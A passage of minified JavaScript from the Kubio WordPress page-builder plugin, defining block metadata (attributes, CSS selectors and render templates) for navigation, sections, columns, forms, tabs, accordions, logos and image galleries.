Bt=window.wp.coreData,Nt=window.wp.url,{name:Ot}={name:"kubio/navigation",title:"Navigation",description:"If you've accidentally removed your navigation, you can re-add a navigation to your page with this block. The navigation block has 5 available layouts.",category:"kubio-layout",attributes:{kubio:{type:"object"},anchor:{type:"string"},attrs:{type:"object"}},supports:{kubio:{elementsEnum:{NAVIGATION_CONTAINER:"outer",NAVIGATION_SECTION:"section"},elementsByName:{outer:{wrapper:!0,props:{className:[]}},section:{ancestor:"sticky",default:!0,selector:".wp-block-kubio-navigation-section__nav"}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]},default:{style:{descendants:{section:{animation:{duration:{unit:"s",value:.5}}}}},props:{width:"boxed",verticalAlign:"center",overlap:!1,sticky:!1,stickyStartAt:"immediately",animation:{name:"slideDown"}}}},multiple:!1}},{name:Rt}={name:"kubio/navigation-top-bar",title:"Navigation Top Bar",category:"kubio-layout",attributes:{kubio:{type:"object"},anchor:{type:"string"},attrs:{type:"object"}},supports:{kubio:{elementsEnum:{OUTER:"outer",INNER:"inner",TYPOGRAPHY_HOLDERS:"typographyHolders"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["d-flex"]}},inner:{props:{className:["h-section-grid-container"]}},typographyHolders:{selector:" > *"}},template:{type:"element",props:{name:"outer"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]},default:{props:{width:"full-width",verticalAlign:"center"}}}}},{name:Dt}={name:"kubio/navigation-section",category:"kubio-layout",attributes:{kubio:{type:"object"}},supports:{kubio:{elementsEnum:{NAVIGATION:"nav",NAVIGATION_SECTION:"nav-section"},elementsByName:{nav:{internal:!0,default:!0,ancestor:"sticky",props:{className:["h-section","h-navigation"]}},"nav-section":{internal:!0,props:{className:["h-section-grid-container h-section-fluid-container"]}}},template:{type:"element",props:{name:"nav"},children:[{type:"element",props:{name:"nav-section"},children:[{type:"wp:InnerBlocks"}]}]}}}},{name:Lt}={name:"kubio/navigation-items",category:"kubio-basic",attributes:{kubio:{type:"object"}},supports:{kubio:{elementsEnum:{OUTER:"outer"},elementsByName:{outer:{useBlockProps:!1,wrapper:!0,default:!0,props:{"data-nav-normal":"true"}}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},{name:Mt}={name:"kubio/navigation-sticky-items",category:"kubio-basic",attributes:{kubio:{type:"object"}},supports:{inserter:!1,kubio:{elementsEnum:{OUTER:"outer"},elementsByName:{outer:{useBlockProps:!1,wrapper:!0,default:!0,props:{"data-nav-sticky":"true"}}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},Wt={NAVIGATION:Ot,NAVIGATION_SECTION:Dt,NAVIGATION_ITEMS:Lt,NAVIGATION_STICKY_ITEMS:Mt,NAVIGATION_TOP_BAR:Rt},{name:Ht}={name:"kubio/section",title:"Section",category:"kubio-layout",attributes:{kubio:{type:"object"},attrs:{type:"object"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",INNER:"inner"},elementsByName:{outer:{default:!0,wrapper:!0,props:{className:["d-flex","h-section-global-spacing"]},supports:{background:!0,separator:!0}},inner:{props:{className:["h-section-grid-container"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]},default:{style:{customHeight:{type:"fit-to-content"}},props:{width:"boxed",verticalAlign:"center"}}}}},{name:Gt}={name:"kubio/row",title:"Columns",category:"kubio-basic",attributes:{kubio:{type:"object"},templateLock:{type:"string"}},supports:{anchor:!0,disabledOnSimpleMode:!0,kubio:{appearanceEffect:!0,props:{fullBackground:{type:"boolean"},layout:{type:"object"}},elementsEnum:{CONTAINER:"container",INNER:"inner",CENTER:"center",OUTER_GAPS:"outerGaps",INNER_GAPS:"innerGaps",TYPOGRAPHY_HOLDERS:"typographyHolders"},elementsByName:{container:{wrapper:!0,default:!0,supports:{separator:!0,background:!0}},center:{},inner:{props:{className:["h-row"]}},outerGaps:{selector:"> * > .h-row > [class*='h-col-'] > [class*='h-px-']"},innerGaps:{selector:" > * > .h-row > [class*='h-col-']"}},template:{type:"element",props:{name:"container"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]},default:{props:{fullBackground:!1,layout:{equalWidth:!1,equalHeight:!0,itemsPerRow:2,verticalAlign:"center",horizontalAlign:"center",horizontalGap:2,verticalGap:2,horizontalInnerGap:2,verticalInnerGap:2},media:{mobile:{layout:{itemsPerRow:1,horizontalGap:0}}}}}}}},{name:Ut}={name:"kubio/column",title:"Column",category:"kubio-basic",usesContext:["kubio/parentKubio"],parent:["kubio/row"],attributes:{kubio:{type:"object"}},supports:{anchor:!0,disabledOnSimpleMode:!1,kubio:{appearanceEffect:!0,default:{props:{internal:{type:"object",default:{heroSection:{type:"none"}}},overlapOptions:!1,layout:{horizontalGap:2,verticalGap:2,horizontalInnerGap:"inherit",verticalInnerGap:"inherit",verticalAlign:"start"}},style:{descendants:{container:{customHeight:{type:"fit-to-content","min-height":{value:"",unit:"px"}}},inner:{textAlign:"center"}}},_style:{descendants:{container:{columnWidth:{type:"custom"},media:{mobile:{columnWidth:{type:"custom",custom:{value:100,unit:"%"}}}}}}}},elementsEnum:{INNER:"inner",CONTAINER:"container",VSPACE:"v-space",ALIGN:"align"},elementsByName:{inner:{default:!0,props:{className:["d-flex","h-flex-basis"]},supports:{background:!0,separator:!0}},container:{wrapper:!0,props:{className:["d-flex"]}},align:{props:{className:["h-y-container","h-column__content","h-column__v-align"]}},"v-space":{selector:"> * > .h-y-container > *:not(:last-child)"}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"inner"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"align"},children:[{type:"wp:InnerBlocks"}]}]}]}}}},{name:Ft}={name:"kubio/header",category:"kubio-template-parts",attributes:{postId:{type:"number"},slug:{type:"string"},theme:{type:"string"},kubio:{type:"object"},tagName:{type:"string",default:"div"}},supports:{kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}},__experimentalDisableBlockOverlay:!0}},{name:zt}={name:"core/post-content",category:"kubio-template-parts",usesContext:["postId","postType"],supports:{align:!1,html:!1,kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0}}},__experimentalDisableBlockOverlay:!0}},{name:Vt}={name:"kubio/hero",category:"kubio-layout",supports:{kubio:{appearanceEffect:!0,elementsEnum:{INLINE_SCRIPT:"inlineScript"},elementsByName:{inner:{props:{className:["h-navigation-padding","h-section-grid-container"]}},inlineScript:{tag:"<>"}},default:{props:{downArrow:{enabled:!1},showHeader:!1,overlapSection:!1}},template:{type:"element",props:{name:"outer"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"element",props:{name:"inlineScript"}},{type:"wp:InnerBlocks"}]}]}}}},{name:Yt}={name:"kubio/downarrow",parent:["kubio/hero"],usesContext:["navigation"],attributes:{kubio:{type:"object"}},supports:{kubio:{default:{style:{descendants:{inner:{transform:{translate:[{axis:"x",value:{value:0,unit:"px"}},{axis:"y",value:{value:0,unit:"px"}}]}}}},props:{bounce:!0,downarrowType:"icon"}},elementsEnum:{OUTER:"outer",INNER:"inner"},elementsByName:{outer:{props:{className:["h-scroll-to__outer d-flex justify-content-center h-down-arrow"]}},inner:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]}},multiple:!1}},{name:$t}={name:"kubio/multipleimages",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{inside:{padding:{top:{value:50,unit:"%"}}}}}},elementsEnum:{OUTER:"outer",INSIDE:"inside",RATIO_INNER:"ratioInner",IMAGES:"images"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["h-multiple-image"]}},inside:{props:{className:["h-multiple-image-inside-container"]}},ratioInner:{props:{className:["ratio-inner"]}},images:{selector:"img"}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"inside"},children:[{type:"element",props:{name:"ratioInner"},children:[{type:"wp:InnerBlocks"}]}]}]}}}},{name:Kt}={name:"kubio/multipleimagespicture",category:"kubio-basic",parent:["kubio/multipleimages"],attributes:{aspectRatio:{type:"number",default:1}},supports:{kubio:{appearanceEffect:!0,assetsURLImporterMap:{url:{assetIdToAttr:"id",subpath:!1}},default:{style:{descendants:{outer:{multipleImage:{angle:0,widthPercentage:30,topPercentage:20,leftPercentage:35,zIndex:1}}}},props:{data:{x:100,y:100,scaleX:2,scaleY:2,width:100,height:100},frame:{enabled:!1}}},elementsByName:{outer:{wrapper:!1}},useParentPrefix:!0}}},{name:qt}={name:"kubio/breadcrumb",category:"kubio-components",attributes:{kubio:{type:"object"},separatorSymbol:{type:"string",default:"/"},prefix:{type:"string",default:"You are here:"},usePrefix:{type:"boolean",default:!0},isEditor:{type:"boolean",default:!1},home:{type:"object",default:{isIcon:!0,iconName:"font-awesome/home",label:"Home"}},postId:{type:"number"},postType:{type:"string"}},usesContext:["postId","postType"],supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{homeIcon:{size:{unit:"px",value:15}},prefix:{margin:{right:{value:15,unit:"px"}}}}}},elementsEnum:{OUTER:"outer",WRAPPER:"wrapper",ITEMLINK:"itemLink",ITEM:"item",ACTIVEITEM:"activeItem",SEPARATOR:"separator",PREFIX:"prefix",HOMEICON:"homeIcon"},elementsByName:{outer:{default:!0,wrapper:!0},wrapper:{selector:".breadcrumb-items__wrapper"},item:{selector:{normal:".breadcrumb-item a, .breadcrumb-item span",hover:".breadcrumb-item a:hover, .breadcrumb-item span:hover",active:".breadcrumb-item.current span"}},activeItem:{selector:".breadcrumb-item.current span"},prefix:{selector:".breadcrumb-items__prefix"},separator:{selector:"li.breadcrumb-item:before"},homeIcon:{selector:".breadcrumb-item svg"}},template:{type:"element",props:{name:"outer"}}}}},{name:Xt}={name:"kubio/subscribe-form",category:"kubio-components",attributes:{kubio:{type:"object"},shortcode:{type:"string",default:""},formId:{type:"string",default:""},useShortcodeLayout:{type:"boolean",default:!1}},supports:{kubio:{appearanceEffect:!0,default:{props:{form:{email:{label:"",widthType:"Custom",placeholder:"Your email address"},submitButton:{position:"inline",size:"small",width:"fitToContent",label:"Subscribe",align:"flex-start",icon:{enabled:!1,name:""}},agreeTerms:{enabled:!1,label:"I have read and agree to the terms & conditions"}},spacingBackup:{}},style:{descendants:{formItems:{margin:{bottom:{unit:"px",value:10}}},submitButtonGroup:{justifyContent:"flex-start"},agreeTermsGroup:{margin:{bottom:{unit:"px",value:10}}},emailField:{width:{unit:"px",value:300},padding:{top:{value:"14",unit:"px"},right:{value:"15",unit:"px"},bottom:{value:"14",unit:"px"},left:{value:"15",unit:"px"}},margin:{top:{value:0,unit:"px"},right:{value:0,unit:"px"},bottom:{value:10,unit:"px"},left:{value:0,unit:"px"}}},submitButton:{border:{}}}}},elementsEnum:{CONTAINER:"container",FORM_WRAPPER:"formWrapper",EMAIL_FIELD:"emailField",EMAIL_GROUP:"emailGroup",EMAIL_LABEL:"emailLabel",SUBMIT_BUTTON:"submitButton",SUBMIT_BUTTON_ICON_CONTAINER:"submitButtonIconContainer",SUBMIT_BUTTON_GROUP:"submitButtonGroup",SUCCESS_MESSAGE:"successMessage",ERROR_MESSAGE:"errorMessage",FORM_ITEMS:"formItems",AGREE_TERMS_GROUP:"agreeTermsGroup",PLACEHOLDER:"placeholder"},elementsByName:{container:{default:!0,props:{className:["h-newsletter"]}},formWrapper:{wrapper:!0},emailGroup:{selector:".kubio-newsletter__email-group"},emailField:{selector:'input:not([type="file"]):not([type="radio"]):not([type="checkbox"]):not([type="submit"])'},emailLabel:{selector:"label"},submitButtonGroup:{selector:".kubio-newsletter__submit-group"},submitButton:{selector:'[type="submit"]'},submitButtonIconContainer:{selector:".kubio-newsletter__submit-group button[type='submit'] .h-svg-icon"},agreeTermsGroup:{selector:".kubio-newsletter__agree-terms-group"},successMessage:{selector:".mc4wp-response .mc4wp-success p"},errorMessage:{selector:".mc4wp-response .mc4wp-error p"},formItems:{selector:".mc4wp-form-fields > p"}},template:{type:"element",props:{name:"formWrapper"},children:[{type:"element",props:{name:"container",shouldRender:"computed.renderContainer"}},{type:"element",props:{name:"placeholder",shouldRender:"computed.renderPlaceholder"}}]}}}},{name:Qt}={name:"kubio/contact",category:"kubio-components",attributes:{kubio:{type:"object"},shortcode:{type:"string",default:""},formId:{type:"string",default:""},useShortcodeStyle:{type:"boolean",default:!1}},supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{validationErrors:{background:{color:"#F9E4E8"},typography:{color:"#E04562",fontSize:{unit:"px",value:12},fontWeight:500,lineHeight:{unit:"em",value:2}},padding:{top:{unit:"px",value:2},right:{unit:"px",value:10},bottom:{unit:"px",value:2},left:{unit:"px",value:10}},margin:{top:{unit:"px",value:5},right:{unit:"px",value:0},bottom:{unit:"px",value:16},left:{unit:"px",value:0}}},submitButton:{textAlign:"left"}}}},elementsEnum:{FORM_CONTAINER:"formContainer",FORM_WRAPPER:"formWrapper",FORM_TYPOGRAPHY:"formTypography",LABELS:"labels",FIELDS:"fields",SUBMIT_BUTTON:"submitButton",ERROR_NOTICE:"errorNotice",INFO_NOTICE:"infoNotice",SUCCESS_NOTICE:"successNotice",VALIDATION_ERRORS:"validationErrors",PLACEHOLDER:"placeholder"},elementsByName:{formWrapper:{wrapper:!0},formContainer:{default:!0},formTypography:{selector:".h-contact-form-shortcode, p, label, input, select, textarea"},labels:{selector:" label,p label,.wpcf7-not-valid-tip, .wpcf7-list-item-label, .forminator-ui .forminator-row .forminator-col label, form.forminator-ui .forminator-label"},fields:{selector:'.wp-block-kubio-contact__formContainer textarea, form.forminator-ui .forminator-row .forminator-col textarea.forminator-textarea, .wp-block-kubio-contact__formContainer select, .wp-block-kubio-contact__formContainer input:not([type="file"]):not([type="radio"]):not([type="checkbox"]):not([type="submit"])'},submitButton:{selector:'[type="submit"], .forminator-ui .forminator-row .forminator-col .forminator-button-submit'},errorNotice:{selector:".wpcf7-mail-sent-ng, .wpcf7-aborted, .wpcf7-form.failed .wpcf7-response-output, .wpcf7-form.aborted .wpcf7-response-output, .wpcf7-validation-errors, .wpcf7-form.invalid .wpcf7-response-output, .wpcf7-form.unaccepted .wpcf7-response-output,form.forminator-ui .forminator-response-message.forminator-error"},infoNotice:{selector:"form:not(.invalid):not(.unnaccepted):not(.failed) .wpcf7-response-output:not(.wpcf7-mail-sent-ok):not(.wpcf7-mail-sent-ng), form.forminator-ui .forminator-response-message.forminator-loading"},successNotice:{selector:".wpcf7-mail-sent-ok, .wpcf7 form.sent .wpcf7-response-output, .wpforms-confirmation-container-full, .wpforms-confirmation-container, form.forminator-ui .forminator-response-message.forminator-success"},validationErrors:{selector:".forminator-row .forminator-col .forminator-error-message, form .wpcf7-not-valid-tip"}},template:{type:"element",props:{disableStyleClasses:"computed.disableStyleClasses",name:"formWrapper"},children:[{type:"element",props:{shouldRender:"computed.renderContainer",disableStyleClasses:"computed.disableStyleClasses",name:"formContainer"}},{type:"element",props:{name:"placeholder",shouldRender:"computed.renderPlaceholder"}}]}}}},{name:Zt}={name:"kubio/shortcode",category:"kubio-components",attributes:{kubio:{type:"object"},shortcode:{type:"string",default:""},inEditor:{type:"boolean",default:!1}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer"},elementsByName:{outer:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"outer"}}}}},{name:Jt}={name:"kubio/tab",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,default:{props:{layout:"horizontal",icons:{show:!1},tabItemsWidth:{horizontal:"auto",vertical:"auto"},media:{mobile:{tabItemsWidth:{horizontal:"full",vertical:"full"}}}},style:{descendants:{tabItemText:{margin:{left:{value:10,unit:"px"}}},icons:{size:{value:20,unit:"px"}}}}},elementsEnum:{OUTER:"outer",CONTENT:"content",TAB_BAR:"tabBar",TAB_BAR_HORIZONTAL:"tabBarHorizontal",TAB_ITEM_HORIZONTAL:"tabItemHorizontal",TAB_BAR_VERTICAL:"tabBarVertical",TAB_ITEM_VERTICAL:"tabItemVertical",TAB_ITEM:"tabItem",ICONS:"icons",TAB_ITEM_TEXT:"tabItemText",VSPACE:"v-space"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["h-tabs"]}},content:{selector:".h-tabs-item-content"},tabBar:{selector:" > .h-tabs-navigation"},tabBarHorizontal:{selector:"&.h-tabs-horizontal > .h-tabs-navigation"},tabItemHorizontal:{selector:"&.h-tabs-horizontal > .h-tabs-navigation .h-tabs-navigation-item"},tabBarVertical:{selector:"&.h-tabs-vertical > .h-tabs-navigation"},tabItemVertical:{selector:"&.h-tabs-vertical > .h-tabs-navigation .h-tabs-navigation-item"},tabItem:{selector:{normal:" > .h-tabs-navigation .h-tabs-navigation-item",hover:" > .h-tabs-navigation .h-tabs-navigation-item:not(.h-custom-active-state):hover",customActive:" > .h-tabs-navigation .h-tabs-navigation-item.h-custom-active-state"}},icons:{selector:" > .h-tabs-navigation .h-svg-icon"},tabItemText:{selector:" > .h-tabs-navigation .h-svg-icon + .h-tabs-navigation-item__text"},"v-space":{selector:".h-tabs-item-content > .h-y-container > *:not(:last-child)"}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},{name:eo}={name:"kubio/tabitem",category:"kubio-basic",parent:["kubio/tabitems"],attributes:{kubio:{type:"object"},title:{type:"string",default:""},slug:{type:"string",default:"tab-title"},icon:{type:"string",default:""}},supports:{inserter:!1,kubio:{appearanceEffect:!0,elementsEnum:{INNER:"inner",CONTENT:"content"},elementsByName:{inner:{wrapper:!0,default:!0,props:{className:["h-tabs-item-content","h-tabs-item","h-y-container"]}},content:{props:{className:["h-y-container","tab-item-content-wrapper"]}}},template:{type:"element",props:{name:"inner"},children:[{type:"element",props:{name:"content"},children:[{type:"wp:InnerBlocks"}]}]}}}},{name:to}={name:"kubio/tabitems",category:"kubio-basic",parent:["kubio/tab"],attributes:{kubio:{type:"object"}},supports:{inserter:!1,kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["d-flex","h-tabs-item-content__container","h-tabs-item__container"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},{name:oo}={name:"kubio/tabnavigation",category:"kubio-basic",parent:["kubio/tab"],attributes:{kubio:{type:"object"}},supports:{inserter:!1,kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["h-tabs-navigation","d-flex"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},{name:no}={name:"kubio/tabnavigationitem",category:"kubio-basic",parent:["kubio/tabnavigation"],usesContext:["title","slug","id","iconName","iconEnabled","arrayIndex"],attributes:{kubio:{type:"object"}},supports:{inserter:!1,kubio:{appearanceEffect:!0,elementsEnum:{LINK:"link",ICON:"icon",TEXT:"text"},elementsByName:{link:{default:!0,wrapper:!0,prefixWithTag:!0,props:{tag:"a",className:["h-tabs-navigation-item","h-global-transition"]}},icon:{props:{tag:"icon"}},text:{props:{tag:"span",className:["h-tabs-navigation-item__text"]}}},template:{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.iconEnabled"}},{type:"element",props:{name:"text",shouldRender:"computed.shouldRenderText"}}]}}}},{name:ao}={name:"kubio/accordion",title:"Accordion",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{icon:{size:{value:18,unit:"px"},margin:{right:{value:"0",unit:"px"}}},title:{textAlign:"left"}}},props:{accordionItems:{normalIcon:"font-awesome/plus",activeIcon:"font-awesome/minus",iconPosition:"left"},openMultipleItems:!1}},elementsEnum:{OUTER:"outer",TITLE:"title",CONTENT:"content",ICON:"icon",VSPACE:"v-space"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["h-accordion"]}},title:{selector:".h-accordion-item .h-accordion-item-title"},content:{selector:".h-accordion-item .h-accordion-item-content__container"},icon:{selector:{normal:" .h-accordion-item .h-accordion-item-title .h-accordion-item-title-icon",hover:" .h-accordion-item .h-accordion-item-title:hover .h-accordion-item-title-icon",customActive:".h-accordion-item .h-accordion-item-title.h-custom-active-state .h-accordion-item-title-icon"}},"v-space":{selector:".h-accordion-item-content__container > *:not(:last-child)"}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},{name:io}={name:"kubio/accordionitem",category:"kubio-basic",usesContext:["normalIcon","activeIcon","iconPosition"],parent:["kubio/accordion"],attributes:{kubio:{type:"object"},slug:{type:"string",default:"accordion-title"},title:{type:"string",default:"Accordion item"},openByDefault:{type:"boolean",default:!1}},supports:{kubio:{appearanceEffect:!0,default:{style:{},props:{}},elementsEnum:{OUTER:"outer",TITLE:"title",ICON_NORMAL:"iconNormal",ICON_ACTIVE:"iconActive",TITLE_TEXT:"titleText",CONTENT:"content"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["h-accordion-item"]}},title:{prefixWithTag:!0,props:{tag:"a",className:["h-accordion-item-title","d-flex","align-items-center","h-global-transition"]}},iconNormal:{props:{tag:"icon",className:["h-accordion-item-title-normal-icon","h-accordion-item-title-icon"]}},iconActive:{props:{tag:"icon",className:["h-accordion-item-title-active-icon","h-accordion-item-title-icon"]}},titleText:{props:{className:["h-accordion-item-title__text"]}},content:{props:{className:["h-accordion-item-content__container","h-y-container"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"title"},children:[{type:"element",props:{name:"iconNormal"}},{type:"element",props:{name:"iconActive"}},{type:"element",props:{name:"titleText"}}]},{type:"element",props:{name:"content"},children:[{type:"wp:InnerBlocks"}]}]}}}},{name:ro}={name:"kubio/logo",category:"kubio-site-data",attributes:{kubio:{type:"object"},linkTo:{type:"string",default:"homePage"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},mode:{type:"string",default:"autodetect-mode"}},supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{container:{gap:{value:"10",unit:"px"},typography:{decoration:"none"}},image:{maxHeight:{value:"70",unit:"px"}},generalImage:{maxHeight:{value:70,unit:"px"}}}},props:{layoutType:"image"}},elementsEnum:{CONTAINER:"container",IMAGE:"image",ALTERNATE_IMAGE:"alternateImage",GENERAL_IMAGE_STYLE:"generalImage",TEXT:"text",LOGO_TEXT:"logo-text"},elementsByName:{container:{wrapper:!0,default:!0,props:{tag:"a",className:["kubio-has-gap-fallback"]}},image:{props:{tag:"img",className:["kubio-logo-image"]}},alternateImage:{props:{tag:"img",className:["kubio-logo-image","kubio-alternate-logo-image"]}},text:{props:{tag:"span"}},generalImage:{selector:"& .kubio-logo-image"},"logo-text":{}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"image",shouldRender:"computed.showNormalImage"}},{type:"element",props:{name:"alternateImage",shouldRender:"computed.showAlternateImage"}},{type:"element",props:{name:"text"}}]}}}},{name:so}={name:"kubio/page-title",category:"kubio-site-data",attributes:{kubio:{type:"object"},templates:{type:"object",default:{normalPage:"{TITLE}",normalResultsPage:"Search results for: {TITLE}",errorPage:"Sorry! Page Not Found!",singlePost:"{TITLE}",categoryArchive:"Posts in {TITLE}",authorArchive:"Posts by {TITLE}",tagArchive:"Posts about {TITLE}",yearArchive:"Posts from {TITLE}",monthArchive:"Posts from {TITLE}",dayArchive:"Posts from {TITLE}"}}},supports:{kubio:{appearanceEffect:!0,default:{style:{textAlign:"center"},props:{level:"h1"}},elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0,selector:"p.wp-block, h1.wp-block, h2.wp-block, h3.wp-block, h4.wp-block, h5.wp-block, h6.wp-block",selectorPrepend:!0,className:["kubio-page-title"]}},template:{type:"element",props:{name:"container"}}}}},{name:lo}={name:"kubio/footer",title:"Footer",description:"You can replace the default page footer with a custom one using the footer template part. Various footers can be assigned to various pages.",category:"kubio-template-parts",attributes:{postId:{type:"number"},slug:{type:"string"},theme:{type:"string"},kubio:{type:"object"},tagName:{type:"string",default:"div"}},supports:{kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}},__experimentalDisableBlockOverlay:!0}},{name:uo}={name:"kubio/sidebar",title:"Sidebar",description:"You can create separate sidebars for web pages, blog, and articles, in order to create different user journeys.",category:"kubio-template-parts",attributes:{postId:{type:"number"},slug:{type:"string"},theme:{type:"string"},kubio:{type:"object"},tagName:{type:"string",default:"div"}},supports:{kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}},__experimentalDisableBlockOverlay:!0}},{name:co}={name:"kubio/image",category:"kubio-basic",attributes:{kubio:{type:"object"},link:{type:"object",default:{typeOpenLink:"sameWindow",lightboxMedia:""}},align:{type:"string"},url:{type:"string"},alt:{type:"string",default:""},caption:{type:"string",source:"html",default:""},captionEnabled:{type:"boolean",default:!1},title:{type:"string"},id:{type:"number"},sizeSlug:{type:"string",default:"large"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,assetsURLImporterMap:{url:{assetIdToAttr:"id",subpath:!1}},default:{props:{useCustomDimensions:!1,frame:{enabled:!1,type:"background",showFrameOverImage:!1}}},elementsEnum:{OUTER:"outer",IMAGE:"image",OVERLAY:"overlay",CAPTION:"caption",CAPTION_CONTAINER:"captionContainer",FRAME_IMAGE:"frameImage",FRAME_CONTAINER:"frameContainer"},elementsByName:{outer:{default:!0,wrapper:!0,props:{tag:"figure"}},image:{props:{tag:"img",className:["d-flex"]}},caption:{props:{tag:"figcaption"}},frameImage:{props:{className:[]}},frameContainer:{},overlay:{supports:{background:!0}},captionContainer:{}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"captionContainer"},children:[{type:"LinkWrapper",children:[{type:"element",props:{name:"frameContainer"},children:[{type:"element",props:{name:"overlay",shouldRender:"computed.showOverlay"},children:[{type:"background"}]},{type:"element",props:{name:"image"}},{type:"element",props:{name:"frameImage",shouldRender:"computed.showFrameImage"}}]}]},{type:"element",props:{name:"caption",shouldRender:"computed.showCaption"}}]}]}}}},{name:po}={name:"kubio/image-gallery",category:"kubio-components",attributes:{kubio:{type:"object"},size:{type:"string",default:"medium"},imagesData:{type:"array",default:[]}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{props:{showMasonry:!1,clickBehaviour:"none",caption:{enabled:!1,verticalAlign:"center",position:"below"},hoverEffect:{enabled:!1,type:"zoom",duration:{default:{value:0,unit:"s"}}},columns:4,media:{tablet:{columns:3},mobile:{columns:2}}},style:{descendants:{image:{transition:{duration:{value:"1",unit:"s"}}},caption:{textAlign:"center"},"image-overlay":{transition:{duration:{value:"1",unit:"s"}},background:{color:"rgba(var(--kubio-color-1),1)"}},"image-caption-wrapper":{margin:{top:{value:0},right:{value:0},bottom:{value:0},left:{value:0}}}}}},elementsEnum:{CONTAINER:"container",PLACEHOLDER:"placeholder",GALLERY:"gallery",IMAGE_CONTAINER:"image-container",IMAGE:"image",CAPTION:"caption",IMAGE_OVERLAY:"image-overlay",IMAGE_CAPTION_WRAPPER:"image-caption-wrapper"},elementsByName:{container:{wrapper:!0,default:!0,props:{tag:"div"}},gallery:{props:{tag:"div"}},image:{selector:".wp-block-kubio-image-gallery-item__image"},"image-container":{selector:".image-gallery-grid-item"},caption:{selector:".wp-block-kubio-image-gallery-item__caption"},"image-caption-wrapper":{selector:".wp-block-kubio-image-gallery-item__image-caption-wrapper"},"image-overlay":{supports:{background:!0},selector:".wp-block-kubio-image-gallery-item__image-overlay"}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"style",type:"text/css",tag:"style"}},{type:"element",props:{name:"gallery"},children:[{type:"wp:InnerBlocks"}]}]}}}},{name:mo}={name:"kubio/image-gallery-item",category:"kubio-basic",parent:["kubio/image-gallery"],attributes:{kubio:{type:"object"},id:{type:"number"},link:{type:"object"},url:{type:"string"},alt:{type:"string",default:""},caption:{type:"string",default:""},title:{type:"string"},sizeSlug:{type:"string",default:"large"}},supports:{kubio:{appearanceEffect:!0,assetsURLImporterMap:{url:{assetIdToAttr:"id",subpath:!1}},elementsEnum:{IMAGE_CONTAINER:"image-container",LINK:"link",IMAGE:"image",CAPTION:"caption",IMAGE_OVERLAY:"image-overlay",IMAGE_CAPTION_WRAPPER:"image-caption-wrapper"},elementsByName:{"image-container":{default:!0,wrapper:!1,props:{className:["image-gallery-grid-item"],tag:"figure"}},image:{props:{tag:"img",filters:["wp_filter_content_tags"]}},link:{props:{tag:"a"}},caption:{props:{tag:"figcaption"}},"image-caption-wrapper":{props:{tag:"div"}}},template:{type:"element",props:{name:"image-container"},children:[{type:"element",props:{name:"image-caption-wrapper"},children:[{type:"element",props:{name:"link",shouldRender:"computed.linkEnabled"},children:[{type:"element",props:{name:"image"}},{type:"element",props:{name:"caption",shouldRender:"computed.showCaption"}},{type:"element",props:{name:"image-overlay",shouldRender:"computed.showOverlay"}}]},{type:"element",props:{name:"image",shouldRender:"computed.linkDisabled"}},{type:"element",props:{name:"caption",shouldRender:"computed.showCaptionWithoutLink"}},{type:"element",props:{name:"image-overlay",shouldRen